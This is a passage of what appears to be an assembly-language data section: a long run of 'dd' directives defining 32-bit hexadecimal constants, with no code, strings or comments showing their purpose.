7D2DD89h, 9352F660h, 0E0EBEAADh dd 0BDADDA94h, 6BD7DF2h, 0F5752405h, 0B3DF39B4h, 14C10126h dd 0B12F64F4h, 0B9B3C8FEh, 6789DD4Ch, 2984076Fh, 819963CCh dd 0D17B4ED1h, 0B6BE121Ah, 7614FF38h, 13DDE5B4h, 0D2483FCAh dd 0C739464h, 30D37C6Dh, 0F861A1D8h, 72463BB8h, 4F350098h dd 0B5A38090h, 7DD90356h, 67F08A81h, 9E13F94Dh, 77603F37h dd 1608E73Ah, 0D566C7F1h, 1B55537h, 2A9714F3h, 7424D39h dd 3A6BF620h, 0E8521212h, 9A85C60Fh, 72D805A4h, 1D252C75h dd 96564673h, 2DD1F5A5h, 6B271D87h, 0ED383477h, 0D068BE5Bh dd 0EAD84F92h, 28DEDB18h, 5A24AB58h, 3DC114B7h, 0ADAB997Dh dd 2B61A87Ah, 92001E31h, 0FF75464h, 31D37C6Dh, 20DE27D8h dd 0B1054A36h, 3735009Ah, 0A3EE35F6h, 0ECAEDBEh, 0A8B808B0h dd 40BE3995h, 0F3ED317Dh, 7AED3E47h, 566C78Ch, 918D89A0h dd 58B0A84Fh, 781163Ch, 9352F6E0h, 0E0EB19ADh, 0BDADD494h dd 6BD61F2h, 0F5751C05h, 0B3DF29B4h, 14C12126h, 0B12BA4F4h dd 0B9B348FEh, 6796DD4Ch, 2982066Fh, 819D63CCh, 0D1734ED1h dd 46CD3971h, 53CB8538h, 1714672Ah, 83D07AB1h, 6764F28Ch dd 32179BBDh, 7F924AB9h, 0DF3A9EF5h, 3DDDFF66h, 0B8C9897Bh dd 55CC87B6h, 6C33C16Dh, 9E13DE52h, 77603F35h, 1608E726h dd 0D566C789h, 1B55507h, 2A9714D3h, 1424DF9h, 30B3447Fh dd 85C8861h, 0C995AA27h, 9F1FFAABh, 0F5351BC7h, 0D5DCBFC0h dd 4429012Eh, 0BBDCD78Bh, 0DC321C6Fh, 49137A4h, 0E906108Fh dd 958AAAE9h, 0D16F562Ah, 0C24181ABh, 0D915163Bh, 0C64DE3B4h dd 0D29F0E81h, 0EFDB464h, 0E392A66Dh, 8F06E725h, 0B2FA4C0Ah dd 0DB20E8CAh, 84907684h, 9DCAD1FCh, 0DB55D386h, 344C9D08h dd 0BCD28545h, 0E421D358h, 5113D785h, 0B5CB0C34h, 2AA0A8DCh dd 0B9424D99h, 93B955E0h, 0E00F99C5h, 21C65FF6h, 6268E2Dh dd 934CFF69h, 9657BE73h, 0EBC50AA5h, 6B6B4BFAh, 9FB697EBh dd 9FD23EECh, 0A0C85741h, 3E29B0D6h, 0FD28C799h, 3FC1477Fh dd 65268D7Bh, 73122977h, 0A0839CCh, 4DE9EECFh, 0C547645h dd 1DDA14D8h, 353404AEh dd 2F35009Ah, 73EE35F6h, 0A8CAEDBFh, 1359360Fh, 0C0A89162h dd 0F315DC78h, 0E9617E46h, 5C66C7B4h, 0B4FF6CFBh, 2AB0A83Eh dd 14EA13Ah, 9B145FFh, 809F1ADh, 0C995AEC7h, 59CB0ABh dd 0F5751030h, 0C65FE03Fh, 0EB3F93CEh, 0A7A9B188h, 20765C4Ch dd 8F90DF5Bh, 206A14CCh, 0E14EA2FFh, 88674EC0h, 53348F31h dd 0ADE0CB67h, 0D5D55072h, 83007A4Ch, 54087B8Ch, 2DA872AEh dd 0CE85E451h, 3B5E3A1h, 9C737448h, 52CDAD37h, 0F98E677Fh dd 63BA848Eh, 3248E789h, 4F44344h, 1E716DA9h, 5BEE0DB4h dd 6B034044h, 0CA716987h, 0DB8A4F51h, 7CD8D3A8h, 318653C4h dd 8965A07h, 0FFAD7B1Bh, 27F0A7C3h, 91DFABC0h, 0EEB42B61h dd 0C6644328h, 63B6DCACh, 8F92B7A4h, 29A9A841h, 2EA0A495h dd 0C147025Ah, 0BF5D5879h, 2AAFC1B3h, 5E1BA7D4h, 0C18379C9h dd 7CAD77C5h, 0A537498h, 0CC46BF59h, 0BBDE3B9h, 5D34EB50h dd 66C9B3FBh, 141A6445h, 0D3BE104Fh, 0C04C1D05h, 870A08E7h dd 45056E4Ah, 782A4CCEh, 0B52A8207h, 0A37F210Eh, 88CB0981h dd 0E42A986Ah, 95DD1E55h, 965D3076h, 0AA49B8A9h, 0FD5144BBh dd 9A73C93Fh, 152A5BAFh, 0E21A2835h, 0DED0A5DDh, 8C1974E6h dd 0E90B1644h, 0B52B52E0h, 6ED28D8Ah, 0B76104F2h, 26BC29B5h dd 0FF1A03Fh, 0DF0B2D17h, 4C6FE2A8h, 1797EB49h, 0C0A59151h dd 778C2C2Dh, 23418B45h, 0F340CF6Fh, 68CAD53Fh, 0C7EB5A83h dd 0B8C55A26h, 9715A2E1h, 9D468538h, 5372E3D1h, 0C22609A5h dd 2AA78A06h, 5A86CD19h, 0ACBDD660h, 203E57B0h, 0ACEE4DBh dd 0A0D9027Fh, 0F6B58768h, 7EAB7D37h, 14C18135h, 217168FEh dd 4CB40F38h, 1F032734h, 0B91C845Ch, 2C3C3405h, 0D14B4EECh dd 932589F2h, 0A77FE730h, 5CC1A0D6h, 90405741h, 9E1F28Ch dd 2807FF50h, 62699751h, 7F594E34h, 84F9899Bh, 37890273h dd 285A2EEFh, 0B0360Eh, 971A4E10h, 0C39E9FFh, 538C660Bh dd 50234C6Dh, 18666CECh, 25702D38h, 5242ACBDh, 604596A9h dd 4E8A9A45h, 4295BB84h, 29306FB7h, 7E750030h, 0D56C9DF7h dd 47CEC636h, 0E236F69Fh, 1CA186A8h, 8F03BBABh, 0DEEB14CCh dd 9AAA496h, 0DB3D18C5h, 0E7AD4179h, 266C17D0h, 50F5233Fh dd 6BF03FC8h, 0FBA1358Bh, 2917FF6Dh, 0C475A1DAh, 363C3FB0h dd 0B2BE0EEEh, 0DF9C0282h, 0D48A3D90h, 0AFD83FCEh, 0CBA06895h dd 0C4A65878h, 656E508h, 19EF1644h, 650B3057h, 6F77A1BDh dd 52424821h, 98459269h, 1C4A0692h, 0D9D61FD4h, 7C549A2h dd 31F743CFh, 6A1286B8h, 514B5927h, 6FC0618Bh, 0CCAB0FEBh dd 9F154DA5h, 2902694Fh, 95DBAFE1h, 0D0935D2Ah, 0C21981ABh dd 56BD1030h, 0A1EEF2BAh, 87371CBEh, 410FA8Ch, 9F6173Eh dd 0A4DCE451h, 7730CBB0h, 6F50F763h, 86427954h, 8C1B6442h dd 33C2245Ah, 2CC54641h, 0ABD775Bh, 4305496Eh, 0A30C23E0h dd 919291C3h, 5E88C3CEh, 0AD2658F9h, 6C38191Ch, 0C586E845h dd 0C9959584h, 0AAD44F71h, 90FDEF66h, 9E0AFE5Ch, 0E2E67075h dd 1D6E3877h, 0DCDCA3BDh, 0FA5DB2B4h, 0C1FA7EC4h, 7D8ABCEAh dd 2CCA8988h, 0B7C104F2h, 91FD6B3h, 731F3C0h, 8480A0A9h dd 89CC198Ch, 1B9C1328h, 740CE4DAh, 0C2FC4C11h, 83708BCBh dd 0DBA8612Dh, 5949EDBAh, 49B81080h, 0A40996F7h, 9F6C5C57h dd 955C6E14h, 6D993A28h, 0CA285673h, 4E40E625h, 52424510h dd 80B118E9h, 0E00B4E98h, 0C9B22A09h, 0ACD8A5F2h, 0A32751B9h dd 0FCA14CE3h, 1CD3296Eh, 6B670877h, 0A8E11A6Bh, 5B75E4FDh dd 70F814DAh, 0F49CE11Eh, 95000E92h, 0F38A8DE2h, 0A2FFF6Bh dd 5E38C057h, 8905F151h, 0FD6498DCh, 4EAFF78h, 0BA426D41h dd 0EA3CC3B6h, 7ACA0AEEh, 0E3C975EDh, 0E3212B33h, 13632B01h dd 0C0B1190Bh, 78D28910h, 1C7091E9h, 0A0F6D39Eh, 57FF19BBh dd 0D239AF55h, 0BA115D52h, 93C7EFC2h, 94F90A1Ch, 897DC183h dd 0A0D8A7FAh, 0AA8B78B3h, 550A3EEAh, 14E54DABh, 0B13FE877h dd 0DC375540h, 0A5DBEA4h, 43F1610Ch, 6AEB4C94h, 51DE4ED1h dd 484E0089h, 534F6AC7h, 0FB5E3B4h, 79A06FBEh, 0D5B7E28Ch dd 517E9BEh, 0CA858E08h, 2644CFE0h, 0C7F65B8Bh, 0E3EE35F0h dd 8ECAEDBAh, 0A017AF0Bh, 2811681Fh, 852DB401h, 163120F0h dd 0CCC59F7Dh, 79660935h, 2AB0A0CDh, 0D64D89DCh, 6C3818BFh dd 0E01AE92Dh, 0C6551584h, 0F9D86076h, 0E2ED4430h, 62BF6DB4h dd 0FCC2E131h, 0E23FD428h, 0DC3DE540h, 0D79B48A4h, 92F6143Ch dd 6D904931h, 0C37C4B3Ah, 36BDC771h, 59E631C3h, 0B662D22Fh dd 85C07AD0h, 31408E0Fh, 856C8A6Dh, 3775BC6Ch, 4CC7C7E5h dd 5FD8A420h, 6CCC626Dh, 39096EA9h, 81972808h, 333E0D19h dd 7775B9FDh, 4EE7E1Ah, 5C9E56D8h, 1D541DBh, 0D5A0AB66h dd 0A50ECC6Dh, 51BB0829h, 0F00F76D5h, 2170E484h, 0F9D8B22Dh dd 0F56192D8h, 9C92BDB4h, 29401126h, 0F23F5EFBh, 0B4132BA8h dd 8F9FB7A4h, 0A54614A6h, 2D82A463h, 2DF35B2Eh, 0B26614F2h dd 491B63B4h, 5FF1A03Fh, 45B169AAh, 4067E667h, 7214F349h dd 0D1858E59h, 1EB9D23Eh, 4734B8C2h, 4192897Dh, 485AEDB6h dd 7A603600h, 4C11964Eh, 23DC188h, 95081BC7h, 5C969E48h dd 950309C3h, 7D5B6A5Fh, 2643B29Ah, 6EC398ECh, 0B35981B0h dd 999DD70Fh, 626631Ah, 81B421CFh, 1D040B8Ah, 0FC930963h dd 1DC07948h, 27A15821h, 0A8FC2A5h, 7FE86133h, 3817A4FFh dd 78131ED9h, 3256FB0Ch, 0DBEEE1E3h, 4EA4A3C4h, 0CFCB2917h dd 0A88CA284h, 85E80093h, 0A879191h, 45414E0Ah, 8D685BC5h dd 3E598971h, 28CACAC6h, 0B03600h, 971A4E00h, 425F187h dd 0FEC46DDEh, 5286077Fh, 0D176B956h, 0DD39AA7Eh, 540AEF8h dd 6C251141h, 0A586D045h, 0BC55167Ch, 6DDD68E3h, 0F564A0C6h dd 0A75745B4h, 16FDD8E6h, 7A9E6877h, 5732DEADh, 8EE5A3B1h dd 123515DCh, 69EB5CD0h, 0D563535Ah, 2F3014F3h, 59EB943Dh dd 9ECF29F8h, 87EB78AFh, 0B61CB707h, 28CD76AEh, 14556D93h dd 0D7494E32h, 23B8027Bh, 37DC007Eh, 0D4DAECBFh, 25F1FA73h dd 45D4BEC8h, 78CA40Ch, 95156EF0h, 9F5FC2CDh, 0ACF50496h dd 3AB05AC6h, 20C746D9h, 0CD381B68h, 0F00F794Dh, 4061D90Dh dd 0F92839EFh, 1311720h, 55D44E3Dh, 94A6F22h, 0F23FB8F7h dd 0DCD29B09h, 0FB2032B4h, 5F3A2DC8h, 0F9852D93h, 59E34E21h dd 0B7990902h, 5B421538h, 5FE1209Eh, 3A84F751h, 0CFE45170h dd 179CEF6Dh, 2F8514D1h, 12B4377Ch, 0B6B5009Bh, 51270A7Fh dd 1CCE2E38h, 7C33230Eh, 0FBB04596h, 87DD2C3Bh, 2D371912h dd 5C96563Ch, 30647EFBh, 3AB05AD2h, 0C54D8FC0h, 6DD898F9h dd 0BFFCDCCh, 39013C97h, 3FE1A3F2h, 76A40F3Fh, 56D7B454h dd 0E486D824h, 9CF6DFCh, 7C176498h, 0F8F13754h, 0D97FB5D9h dd 0BBA3B495h, 533FD9DEh, 77020512h, 0A89E1C3Ch, 0FBD0B3D4h dd 0B3907AB1h, 0EE73FD4Ah, 80161FEEh, 440CE291h, 0FEFC4C05h dd 27C5B038h, 0B379286Dh, 9941FDBBh, 2CC38F0Bh, 0A809940Bh dd 0AC58748Ah, 9FE9338Dh, 0ECC72E58h, 18660903h, 0DAEC2F32h dd 0E2E35999h, 55281A19h, 0E0FF24C0h, 6880E094h, 0E9D84542h dd 0F5843893h, 1D5D56A4h, 5448A963h, 0E7A818Fh, 55CBDA23h dd 0DA6A4BE7h, 0D1BA9D24h, 0F588F11Eh, 9560B28Bh, 4FCA8D1Eh dd 0B86A65B1h, 768B293Dh, 8F32F383h, 8EC5C105h, 8507FF9Dh dd 0F3D9614Dh, 0C52D7F5h dd 0DF990564h, 0DF68997Dh, 7EDAED4Bh, 1C6F56B2h, 0B54C0D1Ah dd 80D5370Dh, 17BD887Ah, 0B766C601h, 6DB58A9Ch, 0D595A9B5h dd 533DB646h, 907D9359h, 0E0027BCCh, 40159F84h, 95816F1h dd 0F1F98030h, 66D40604h, 1486126h, 0F23C18F7h, 9EAADC23h dd 0FF7BC58h, 0A2F1143Ch, 7C6B58D0h, 59674ED1h, 44348FF0h dd 0A83B80B3h, 9938B03Fh, 0A2029B80h, 39E4FF46h, 4F9E7F6Dh dd 1C66955h, 0F5A02FA5h, 0AF6CFF64h, 63C9897Ch, 5491B3E4h dd 21F08E62h, 404C1DA5h, 87923909h, 43056E08h, 0B0E52394h dd 0C6205927h, 6F3B713Fh, 5182C951h, 0E13AF2A8h, 1E8C89B5h dd 7790EB80h, 0F9D8B9F6h, 0C04F7301h, 86545D2Ch, 21F85351h dd 0F23C38E7h, 50820DDFh, 0B6F2B754h, 0F9791B0Ah, 0F5614416h dd 0C308BE94h, 0B8899053h, 574DAC28h, 0B81270A8h, 8900F940h dd 0B294B705h, 3EFC0F28h, 0F725D16Ah, 17CED7F5h, 1FC59C3Ah dd 1C0FB06Dh, 0DD493D2Ch, 68F3508Eh, 2BBC589Ch, 77891519h dd 0D03C7E0Ah, 0DFB65116h, 51F50BEBh, 0DAF52318h, 0DBB20FF2h dd 0C099EE6Ch, 0D91F8AB5h, 89E86DC1h, 0F9281753h, 1310120h dd 0D3DFA35Fh, 15931CD2h, 69C8FDFEh, 2C7FDAACh, 4C6A27A4h dd 99BD449h, 7C922434h, 2C1FCDC1h, 0BB14C7CBh, 0D167CEB3h dd 637A5C62h, 83F38D78h, 318A907h, 0FD620330h, 0FF61368h dd 764DBA76h, 0F00CC0E7h, 0EB9FAB0Eh, 0E23511C4h, 23F356D6h dd 404E2091h, 779D150Bh, 538C7E0Ch, 0D97A4DE1h, 8176FA4Fh dd 235B9165h, 52B6379Ah, 21C71E97h, 0C9F70331h, 25D01374h dd 0F6DC4571h, 0F575FDB2h, 66CC3CB4h, 51FA9126h, 430AFF9Bh dd 0CC2C6F38h, 0F80FF29Dh, 0D960B5DFh, 3955B495h, 4C413Dh dd 3168E471h, 4C80717Dh, 5821349Eh, 64054351h, 0BBB46583h dd 0C894FE8Dh, 0EFC06D53h, 915D827Eh, 0FF95A1AFh, 76F0997Dh dd 0DCDC9A57h, 0FC332313h, 0CFA0582Dh, 67AE6483h, 12C5ED0Fh dd 0B7828398h, 61D2AB0Fh, 6F89BAFEh, 82D545D5h, 0EF39FD2Ah dd 0A5868385h, 2DD01060h, 7230FA7Bh, 0B04D7475h, 76D08A5Ch dd 9FC3B126h, 0A7B59434h, 3C71E448h, 0CA6F00D1h, 0ACE9D338h dd 6C6E54C9h, 0D0D74ED1h, 81A54179h, 588B393Dh, 0B37ED52Fh dd 24058547h, 9AF4F27Ch, 19170FC1h, 5100D8D2h, 76A9C705h dd 0FB605EEh, 0C82FF57Bh, 0A5896684h, 27EF961Ah, 5C7C139h dd 7B6F3DC5h, 9DE53A5Bh, 1EEF1AA8h, 6533815Bh, 7635B1F5h dd 27524429h, 987D8A64h, 69D3E84Eh, 39D6F190h, 0BC53F1F2h dd 7070B7D8h, 8654FDE8h, 9120E4AFh, 6B1F3DB7h, 81A1FFF5h dd 67A93C78h, 755F0845h, 0F758A465h, 0D52AA694h, 0A8D9F45Eh dd 1EC08646h, 0AABD03D7h, 852B6A41h, 0B8B8B707h, 3F9E072Dh dd 33C06FB1h, 3945847Dh, 25BCDCC9h, 339C0287h, 3636B73Fh dd 2FBA33D5h, 2C099697h, 65EC76AFh, 3FDCE6D0h, 58274F38h dd 199F0922h, 0A1B0ADDEh, 90CBA8BCh, 0E53AE3E8h, 69DE959Ch dd 0CA0371C5h, 0BA539619h, 1131B1CCh, 0E3B0288Fh, 0E0B95A11h dd 0BEBF2CB0h, 0DC385F58h, 4ED37A4h, 2CE2E089h, 6C4A5439h dd 0D6E401A4h, 486D010Dh, 0F7FA8538h, 0D961A0CFh, 7CDCFF7Dh dd 47E4E28Ch, 7CEF7C68h, 0C06E022Dh, 2741847Fh, 32BEE0D9h dd 278C029Fh, 1636AF3Fh, 69B837C5h, 0B80E948Fh, 0BCD9F1ACh dd 0E659EAC8h, 5113D6E5h, 1A824F38h, 3E394DFBh, 52B2181Ch dd 0E5C689F9h, 0E2EF7D3Dh, 0BA3AC0Dh, 70DCA77Fh, 7FDCC75h dd 9654B735h, 40754126h, 0F2B3F4C7h, 5FD1DA23h, 0D1B2B364h dd 74349D97h, 29AB2D56h, 2F61AB58h, 0B82DAC9Ah, 2F13FD28h dd 0A535B03Fh, 8D407A74h, 17ED968Ch, 6417FF6Dh, 0A08908D2h dd 0CF3090A2h, 8B70C774h, 0F3C9897Fh, 0FD3C7917h, 0E476EA80h dd 0C0262D1Dh, 8728D6C8h, 53C236D6h, 5C66C61Dh, 993381BBh dd 0D6C145EEh, 0DB1BBB46h, 21BBE4ECh, 0E2E740B9h, 228A7784h dd 11D88DFBh, 0F574358Bh, 0EBD7A6EDh, 1989F1C2h, 0B233ADFCh dd 0DC2A0540h, 0CA676EA4h, 0CDA49728h, 945DD195h, 0D0074FAAh dd 0B8BD0435h, 1EB09538h, 0EFFFDBh, 0E9F037CAh, 2DE4FF05h dd 899EFF6Dh, 0A615270Ch, 0AE9D9B7Fh, 57A4FB1Dh, 67C6897Fh dd 0DDCAED77h, 57B099EFh, 0C340613Eh, 9F52EDDAh, 62984B27h dd 0DF76C61Eh, 0E80A0B38h, 55F3560Dh, 0CF66BA2Dh, 7C38E4B1h dd 9C634446h, 0BB71F3ECh, 0DD27EE8Dh, 0F59014ADh, 16AFECA4h dd 68FCE126h, 66C04923h, 0A3291FA8h, 12CA48E8h, 39C6F0C8h dd 7CF45F14h, 0AA774ED1h, 0B81EFF73h, 3E7F9538h, 0A010B240h dd 8DC07ADFh, 0D6E5A9F8h, 6617FFCCh, 0D66ED725h, 0A20E3C75h dd 4649009Ch, 931E72FEh, 3AB5EDB6h, 50AEF76Eh, 415C1D8Ah dd 872AACD9h, 0FD271BDAh, 5CDF2EF9h, 91B10ACBh, 2AB0AD88h dd 5242E590h, 6C91E829h, 0E0C8BE45h, 0C98A7186h, 0F9D87B1Bh dd 0F5EDC030h, 969355B4h, 14FD112Ah, 0E23B289Eh, 0DCA0B7A8h dd 8F2837A4h, 29C714C1h, 0BAD77Eh, 177F4ED1h, 0B8A10FF2h dd 0B37D7E38h, 5BF1A050h, 8D917A86h, 750FF28Ch, 67179D85h dd 0F0852351h, 75B9C7F4h, 4760E8D0h, 830E897Fh, 1DCAEDBCh dd 64DBEC7Ah, 874C1D69h, 872DBC23h, 0FE3784DCh, 5C66C6CEh dd 916E0A14h, 0F5BAC6Eh, 52426BF1h, 7038C4E9h, 0B0FBEC5h dd 0C9AB9A9Ch, 0F91FEDF2h, 0F5742410h, 82BC565Fh, 0D3FD0126h dd 0E23B9A77h, 51E9C4A8h, 8FEFB71Bh, 297B99CCh, 945CA495h dd 0D07B422Ah, 7BA1C471h, 5ACC29B5h, 0DD1A03Fh, 0EA704802h dd 7954C2CFh, 8C941AE4h, 0ACD3B759h, 0C7323BA1h, 47708B90h dd 0B5CDC988h, 8CAEDB6h, 14765AEAh, 495C58E3h, 0C2A04869h dd 0EA46E626h, 0D76AB57Ah, 6FF502A0h, 0A7C1D881h, 2EC13335h dd 18380726h, 6D5AEF00h, 9D7563EFh, 0A785EB7Dh, 70787DBBh dd 0EE673174h, 1C86BA1Ah, 0E2468024h, 18A9DFA8h, 9F9BBAA0h dd 0E92D479Ah, 0FF5EA495h, 0DCFA4615h, 33906E84h, 0B2F31A7Ch dd 5B31A167h, 3B8F7ECAh, 7B1BFECFh, 1A9CF7E2h, 8B896959h dd 7D36F37Fh, 3735B83Dh, 0B622897Fh, 4DA160E3h, 44602CFBh dd 404C1DEFh, 0DA2570AEh, 16056E78h, 2399B8Dh, 0CC9A83B8h dd 2A0F218Dh, 74245D9h, 641C4FE2h, 0A184904Eh, 88012C98h dd 0A530A1EAh, 76741C30h, 54094570h, 996D2122h, 0B73B6F0Bh dd 8A79FA21h, 8F9AE2F3h, 1AA14A6h, 8348A4E0h, 289B46A4h dd 0E59904BDh, 0D390CB67h, 0D0D2FDD3h, 45C45E0Dh, 2F62F6CDh dd 63AFFF6Dh, 8B85E451h, 0B6FD4CFBh, 1B618B94h, 0EBCB006Fh dd 0BDCAEDB4h, 4B8F5E55h, 0C04C1D6Bh, 870A08A3h, 45056FC2h dd 18ED91DFh, 0FB261ACFh, 5F80C4A0h, 0AD2655F9h, 6C38031Ch dd 0C586DC45h, 0C98A7D84h, 0D9FCB779h, 7E7C40BBh, 68D6B9C4h dd 2FD325D9h, 961F0C03h, 0AA1ED280h, 6423B2Fh, 0A0CB3080h dd 0D9A8DDh, 0A56F4A62h, 0B9806CE0h, 1E509538h, 0E99A88Ch dd 4D807A41h, 0C5EC41D8h, 66989BAEh, 0C185E451h, 0D1B50377h dd 0B7F65BC2h, 43EE35F2h, 0ACCAEDB7h, 21B8B756h, 404C1D6Bh dd 0B729CDAEh, 63156FB1h, 50374D95h, 0A87A5878h, 2FC5A47Fh dd 52424421h, 0D3B5C1E9h, 0E00FB8C5h, 0C9ADC209h, 0AAD8F5F2h dd 5C0AF61h, 9CBEADB4h, 0A0461075h, 692B0887h, 97A297E5h dd 8BB23EACh, 70CC7F45h, 7C2066CEh, 40FBDE41h, 28199462h dd 0CA3B05A8h, 31C130AFh, 0A3401241h, 2E0EF28Ch, 9103EA92h dd 5F26F451h, 0FA9C6F1h dd 0FFA00F5Ch, 0B0C869FCh, 5CCA923Ah, 0FC32D60Ah, 0D859E23Ah dd 403DB4D5h, 1700F3C3h, 5C66C691h, 6EFFC9FBh, 2A9710B3h dd 0D94245B9h, 3C3C26EDh, 7CAEBB2Fh, 999A7E81h, 4C4E20Dh dd 78B70030h, 9655A50Bh, 1442FC26h, 0B738E877h, 99A03A21h dd 0CA7967A8h, 29AB44C4h, 7D233834h, 0C5981EC1h, 0A971F9D2h dd 0D72B5665h, 0DFB18743h, 0E3045E05h, 0B545F2E6h, 3D07FE68h dd 38A1F1AEh, 0B7AD7F4h, 17350023h, 6376047Fh, 8ECAEDB7h dd 887758C0h, 40264D66h, 86282888h, 3FA3FD8h, 4C663BB5h dd 6E4BC88Ah, 5F4F53F1h, 0B9B4775Dh, 0E5E68B6Bh, 2354E535h dd 0C9ADC409h, 72D8F9F2h, 0A5702874h, 0AF4ADDEh, 44ED6023h dd 1F14DD88h, 1CAE0FA8h, 0C2222ABh, 0A40D152Ch, 0DD2083E9h dd 0C063BE15h, 0C96CFBA2h, 0FB9B95C4h, 449150F7h, 0C3D58511h dd 8874F270h, 7E170FA1h, 0B7901B01h, 23A9C708h, 0F35F04Ch dd 63DC762Fh, 0FEDAED4Bh, 0FCA34307h, 50DC8DF5h, 17BD24BAh dd 4595FF5Ah, 5C66C222h, 0C72800Bh, 3AB05CDAh, 473686FCh dd 5C2DFD79h, 6B1FBAB8h, 394EE480h, 1188EBF2h, 0A8BE26Bh dd 6DD6D6EDh, 0B527ED2Fh, 0F23858B3h, 0EC3EA0F8h, 2EE33759h dd 39CFE404h, 4C375BC5h, 714F4E2Ch, 0A961F43Eh, 6A8E6A68h dd 0F5E1A0C2h, 0A3808A91h, 18F10DDCh, 3407FF90h, 9C7A6D92h dd 123A227Dh, 5ABE5398h, 9EF50A77h, 0DCA1D73h, 4662A697h dd 0BA09F57Dh, 0E744BD4h, 0D6809389h, 5D0CCEE0h, 917C3DFBh dd 29DAF5EEh, 0ADBD88F1h, 50BB5C16h, 0E0FF7E58h, 0DFFF7A94h dd 0A924B879h, 90411CFh, 0D3DE8DB4h, 89F908DAh, 0F23878B3h dd 995F9543h, 4B1BE758h, 7033EB25h, 60C4A7FFh, 895B4ED1h dd 7DF40079h, 0A7B95C8h, 0A8A5B5C0h, 391B6A41h, 0B8A7AF60h dd 683043E0h, 4085E451h, 71BDE3B0h, 0FFF18598h, 0CC99997Fh dd 7D3695A2h, 53BE1087h, 0C04C1D64h, 870A08B9h, 43056FCEh dd 0B0E72318h, 91760B9Fh, 0A1E7FAADh, 17855664h, 6C380511h dd 5C4A7245h, 0C98A7B84h, 70D0BA79h, 0B0FFC875h, 5A100CB8h dd 140DF4E1h, 84386877h, 0DC629A6Fh, 37B1BAA4h, 0D6327C9Ch dd 0F17DDB6Ah, 3807F894h, 0B9511585h, 0D36B51BBh, 2BF125F9h dd 0B03BFA4Ah, 0A8346783h, 0AF9EFE8Dh, 7BF86737h, 7BB1B2D1h dd 0B2BCFFDAh, 0AACA62CEh, 18415DC4h, 29F45A2Bh, 175263BCh dd 4B683896h, 0DE5090C0h, 0D56A01EEh, 51F3C7E6h, 0E233A7BBh dd 5398A926h, 11390969h, 86FCAC35h, 0EC3C2907h, 7ABE2E86h dd 80770A4Dh, 6610863Eh, 14FF1ECFh, 0A738F77h, 0DCD01FA8h dd 8F18F263h, 0ED3A14CCh, 7C0844D0h, 92544ED1h, 0B9D9042Eh dd 850E5238h, 5611A03Fh, 0B4143F86h, 4564F28Ch, 5AEFBAAAh dd 0A09C0F51h, 88418243h, 6F35E601h, 2E078F8h, 1947E9B9h dd 0A23D37Eh, 83B458F6h, 0D72E05C9h, 16E3F3FAh, 59CF2D79h dd 55F50BABh, 0AF7626D6h, 0D2923539h, 4F4D2312h, 631BE9CEh dd 8C035144h, 598A8E6h, 7083FDB9h, 1D580874h, 0CC092563h dd 84C26DFEh, 0D828122Bh, 48CBDCE7h, 2A3BE089h, 60E1A495h dd 287B3350h, 0C4BEFB0Dh, 0A91E1E2Ah, 57F1A4B2h, 0A7367581h dd 0F2E6B601h, 18E3BAE4h, 3A86525Eh, 2E4153E1h, 63C2668Dh dd 0B6C98833h, 0B3F16D61h, 61B0D5ECh, 10A7E293h, 7F53A84h dd 47045ACh, 0DF7280EEh, 0D4FF0F73h, 0D6F024BAh, 11AE0510h dd 29FF3E02h, 0E00FAC29h, 4896BD84h, 627C98Fh, 0E70ACBCFh dd 1BB9383Fh, 0D4FF4122h, 6F25BE78h, 55019DECh, 80BE5BE1h dd 3FB3177Ah, 6C145C01h, 958FB9B7h, 6ABC04F3h, 0D282337h dd 56B71C57h, 0B1999251h, 0E6E7F28Ch, 30D77A65h, 0F05D6D59h dd 0C18171FBh, 0E6CA319Fh, 98C0189h, 0F1BF858Eh, 995BE818h dd 3A09DB79h, 0B7C6F0A2h, 7AFF1216h, 67E6C914h, 57717ED7h dd 69C155FBh, 2FC25E52h, 744D0853h, 954694C5h, 0C8F1D797h dd 79D552C4h, 8043B24Bh, 6C10A3B3h, 173D7257h, 1D4B6DFAh dd 55812057h, 39F1747Ch, 6FB444CCh, 399BF481h, 8F6F1E11h dd 3AB104E0h, 9DBE85FCh, 0D23CBB4Ah, 4AFF853Dh, 9DA17FDCh dd 5C96173Dh, 7106E451h, 297942FCh, 0A8C8C610h, 1C010A8Eh dd 5491B3EDh, 21F08E74h, 404C1DC1h, 87923EC1h, 95056F98h dd 5C962D40h, 97020BD3h, 2A40472Fh, 52288249h, 6F520803h dd 0E365AFAFh, 0C98A50ECh, 1F134132h, 0E088BC30h, 86559080h dd 14416CE5h, 6137C877h, 0DC21F395h, 898AB7B4h, 2AD6F86Dh dd 7C7A6785h, 0D4E94EBBh, 0BAD30498h, 5D0B9550h, 0B155C8FFh dd 0A03F6A41h, 4D640FB8h, 46A872AEh, 0E485E451h, 134FF6A2h dd 0C2098346h, 83C97B55h, 57D698B2h, 9AFA3BD5h, 4915E286h dd 0F3DB3604h, 8B31E6A8h, 4C66375Dh, 1170CCADh, 0A194449Eh dd 0A066DC7Dh, 0EF5E1829h, 0EE7AAE7Dh, 0ED17650Fh, 9FC82B00h dd 0A08AEF7h, 17165C5Fh, 14FE11DDh, 6B81DA77h, 1F8A0158h dd 8FD84B29h, 2A00A841h, 2912A495h, 3B7CAB58h, 0EEF757FAh dd 0D80BC8B3h, 66F6D5E4h, 0B4A49381h, 0D782F28Ch, 0C732996Eh dd 0FC0C8251h, 0A0664E0Ah, 5735E649h, 83C99AC8h, 906F1EB2h dd 6FBA9BDAh, 80F9071h, 0A3DF04Ah, 558C27DFh, 14254861h dd 1C5A485Ah, 6939E62Dh, 1A01CC01h, 0E1084860h, 0A386E686h dd 0E1C9DF98h, 72F86E7Bh, 0CDF7A875h, 515C28C6h, 14FEF963h dd 0C5DC8877h, 5CDEDA23h, 868AC09Ch, 30DC510Bh, 971CA495h dd 0DBBEC5C2h, 0B6C83C72h, 0BC6845ADh, 0B752E83Eh, 4205F357h dd 539CB707h, 4BE9BADAh, 32E31C14h, 194EA1F7h, 7D40009Eh dd 59C86122h, 4C93124Dh, 0ECB73A59h, 85C71D78h, 0E51533C0h dd 0E16362EBh, 2966E572h, 9AF56DF2h, 25BF455Eh, 0B2C1428Eh dd 6FC088AAh, 6369B131h, 8C01508Fh, 0BC516FFEh, 974F203Ch dd 0D3DE95C0h, 3FC7B12Ah, 9FB4A003h, 0F4A6DFA0h, 0DFCC722Fh dd 7A26A3C3h, 2C16E11Eh, 0D7ED4439h, 0B55587F2h, 0DFFFD6B1h dd 2A31A444h, 22E82963h, 61B0D65h, 5FFC3F5Ch, 0BD9199D2h dd 0FEEACC89h, 0C8CAE91Ah, 4809B828h, 498F66BFh, 44379010h dd 